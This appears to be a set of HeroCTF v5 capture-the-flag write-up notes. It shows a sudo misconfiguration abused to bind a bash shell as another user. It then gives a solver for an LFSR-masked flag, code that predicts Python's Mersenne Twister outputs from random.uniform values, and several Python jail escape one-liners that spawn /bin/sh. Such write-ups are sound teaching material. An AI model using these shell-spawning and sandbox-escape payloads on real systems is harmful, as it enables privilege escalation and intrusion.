HeroCTF v5

    % ssh user@dyn-02.heroctf.fr -p 11873
    user@sudoklu:~$ id
    uid=1000(user) gid=1000(user) groups=1000(user)
    user@sudoklu:~$ ls -lsart /home/
    total 20
    8 drwxr-xr-x 1 root           root           4096 May 12 10:35 .
    4 drwxr-x--- 1 privilegeduser privilegeduser 4096 May 12 10:35 privilegeduser
    4 drwxr-xr-x 1 root           root           4096 May 15 20:47 ..
    4 drwxr-x--- 1 user           user           4096 May 15 20:48 user

    user@sudoklu:~$ sudo -l
    Matching Defaults entries for user on sudoklu:
        env_reset, mail_badpass,
        secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
        use_pty

    User user may run the following commands on sudoklu:
        (privilegeduser) NOPASSWD: /usr/bin/socket

    user@sudoklu:~$ /usr/bin/socket -h
    /usr/bin/socket: invalid option -- 'h'
    Usage: socket [-bclqrvw] [-B local ip] [-p prog] {{-s|host} port | [-s] /path}

    user@sudoklu:~$ sudo -u privilegeduser /usr/bin/socket -p bash  5555 -s &
    [1] 48


    user@sudoklu:~$ nc localhost 5555
    id
    uid=1001(privilegeduser) gid=1001(privilegeduser) groups=1001(privilegeduser)
    cat /home/privilegeduser/flag.txt
    Hero{ch3ck_f0r_m1sc0nf1gur4t1on5}

    #!/usr/bin/env python
    from pylfsr import LFSR
    from functools import reduce
    import os

    flag = os.environ.get('FLAG','Hero{fake_flag}').encode()

    # converts a binary list into a integer .. equivalent of int(''.join(l), 2)
    def binl2int(l: list) -> int:
        return reduce(lambda x,y: 2*x+y, l)
    # Returns an instance of LFSR.
    # The order is 8, so the initial state consists of 8 bits, chosen randomly
    def lfsr() -> LFSR:
        return LFSR(fpoly=[8,6,5,4], initstate='random')
    # Runs 8 clock cycles and returns the integer values of the bits that were shifted out. This will be the initial state in the reverse order.
    '''
        In [4]: print(L)
        LFSR ( x^8 + x^6 + x^5 + x^4 + 1)
        ==================================================
        initstate 	=	[1 0 1 0 0 0 0 0]
        fpoly     	=	[8, 6, 5, 4]
        conf      	=	fibonacci
        order     	=	8
        expectedPeriod	=	255
        seq_bit_index	=	-1
        count     	=	0
        state     	=	[1 0 1 0 0 0 0 0]
        outbit    	=	-1
        feedbackbit	=	-1
        seq       	=	[-1]
        counter_start_zero	=	True

        In [5]: L.runKCycle(8)
        Out[5]: array([0, 0, 0, 0, 0, 1, 0, 1])
    '''
    def get_uint8() -> int:
        return binl2int(lfsr().runKCycle(8))
    # XOR each character value with the LFSR initial state integer, which will never be 0.
    def mask(flag: bytes) -> str:
        return bytearray(f ^ get_uint8() for f in flag).hex()

    while True:
        try:
            input('Hero{' + mask(flag[5:-1]) + '}\n')
        except Exception as e:
            # This exception handling is the clue
            pass

    from pwn import *
    #p = remote('static-01.heroctf.fr',9001)
    p = process(["python3","chall.py"])
    flag = p.recvline()
    flag_len = len(flag[5:-2])//2  #ignore 'Hero{' and '}\n'
    print(f"Len = {flag_len}")
    count = 1
    flag_vals = []
    for i in range(flag_len):
        flag_vals.append(list([x for x in range(255)]))

    while True:
        for i in range(flag_len):
            val = int(flag[5+2*i:5+2*i+2],16)
            try:
                flag_vals[i].remove(val)
            except Exception as e:
                pass

        print(*[len(x) if len(x) > 1 else chr(x[0]) for x in flag_vals ])
        if (all([len(x)==1 for x in flag_vals])):
            break
        
        p.sendline("\n")
        flag = p.recvline()
        count+=1
    real_flag = [chr(l[0]) for l in flag_vals]
    print("Hero{"+''.join(real_flag)+"}")
    print(f"#iterations: [{count}]  Flag length: [{flag_len}]")

    #!/usr/bin/env python
    import random
    import os

    # TODO: xanhacks told me that this was "too unoriginal" and
    #       that I should change it, lets see how he likes this...

    # guess = lambda: random.getrandbits(32)
    guess = lambda: random.uniform(0, 2**32-1)

    for _ in range(624):
        print(guess())

    secret = str(guess())

    if input('> ').strip() == secret:
        print(os.environ.get('FLAG', 'Hero{fake_flag}'))
    else:
        print('Nope! It was:', secret)

    CONST_2E53 = 1.0 * 2 ** 53
    CONST_2E26 = 2 ** 26

    def float_to_2_rands(num):
        # takes a float between [0 .. 1] and return two random values with symbolic bits 
        n = int(num * CONST_2E53)
        n1 = n // CONST_2E26   # can be maximum 53 - 26 = 27 bits long; generated using 32bits >> 5
        n2 = n % CONST_2E26    # can be maximum 26 bits long: generated using 32bits >> 6
        return (n1, n2)

    def two_rands_to_float(n1, n2):
        # takes two 32-bit random numbers and returns a float value between [0..1]
        n1 = n1 >> 5
        n2 = n2 >> 6
        v = ( (n1*CONST_2E26) + n2 ) / CONST_2E53 
        return v

    def test_uniform_randomness():

        # Use the symbolic Mersenne Untwister
        # from https://github.com/icemonster/symbolic_mersenne_cracker/blob/main/main.py

        ut = Untwister()

        MAX = 2**32 -1

        # we are given a series of 624 floating point numbers generated by random.uniform() in the range 0 .. 2^32 -1 
        for _ in range(624):
            u = random.uniform(0, MAX)              
            n1, n2 = float_to_2_rands(u/MAX)        # convert to a float between 0 .. 1, and get the two 32 bit rands
            bits_n1 = f"{n1:027b}" + "?????"        # add back the bits that were lost as symbolic variables
            bits_n2 = f"{n2:026b}" + "??????"       # add back the bits that were lost as symbolic variables

            assert (len(bits_n1) == 32)
            assert (len(bits_n2) == 32)

            ut.submit(bits_n1)
            ut.submit(bits_n2)
        
        r2 = ut.get_random()

        for _ in range(100):
            assert(random.getrandbits(32) == r2.getrandbits(32))

        print(f"Predicted next random int {r2.getrandbits(32)} ---> actual {random.getrandbits(32)}")

        print("Let's predict the next series of uniformally distributed randoms")

        for i in range(10):
            u = random.uniform(0, MAX)

            n1 = r2.getrandbits(32)
            n2 = r2.getrandbits(32)
            v = two_rands_to_float(n1, n2) * MAX
            print(f"Predicted next uniform rand {v:010.8f} ---> actual {u:010.8f}")
            assert( u == v )

    >>> print("".__class__.__mro__[1].__subclasses__()[132].__init__.__globals__['system']('sh'))
    >>> print.__self__.setattr(print.__self__.credits, "_Printer__filenames", ["pyjail.py"]),print.__self__.credits()
    >>> print(print.__self__.__loader__.load_module('bu''iltins').getattr(print.__self__.__loader__.load_module('o''s'),'sy''stem')('sh'))

    >>> print.__self__.__loader__.load_module('o''s').spawnv(0, "/bin/sh", ["i"])
    >>> print(print.__self__.__loader__().load_module('o' + 's').spawnvp(print.__self__.__loader__().load_module('o' + 's').P_WAIT, "/bin/sh", ["/bin/sh"]))